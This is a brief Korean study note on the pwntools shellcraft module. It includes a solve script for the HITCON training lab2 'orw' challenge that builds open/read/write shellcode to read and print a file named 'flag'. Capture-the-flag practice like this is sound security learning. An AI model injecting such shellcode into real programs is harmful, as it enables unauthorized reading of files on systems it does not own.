pwntools shellcraft
http://docs.pwntools.com/en/stable/shellcraft/i386.html - 32bit
http://docs.pwntools.com/en/stable/shellcraft/amd64.html - 64bit
32bit binary에서 context(arch='i386', os='linux') 이거 써주면 shellcraft.i386.linux.open() 말고
바로 shellcraft.open() 해도 됌
따라서 64bit에서는 context(arch='amd64', os='linux') 하면 마찬가지
---Hitcon training lab2--- 예시
from pwn import *
s = process("./orw.bin")
context(arch='i386',os='linux')
shellcode = ""
shellcode += shellcraft.pushstr('flag') #open 함수 인자로 넘길 파일명 pushstr
shellcode += shellcraft.open('esp',0,0) #esp, 스택 최상단에 파일명을 push해놨기에, esp를 이용해 open 함수를 call한다.
shellcode += shellcraft.read('eax','esp',100) #open함수 호출 후 eax에 fd가 반환되므로 해당 fd에서 100바이트 읽어서 저장
shellcode += shellcraft.write(1,'esp',100) #write함수로 fd를 출력
s.recvuntil("shellcode:")
s.send(asm(shellcode))
print(s.recvline())
64비트에선 rsp, rax를 사용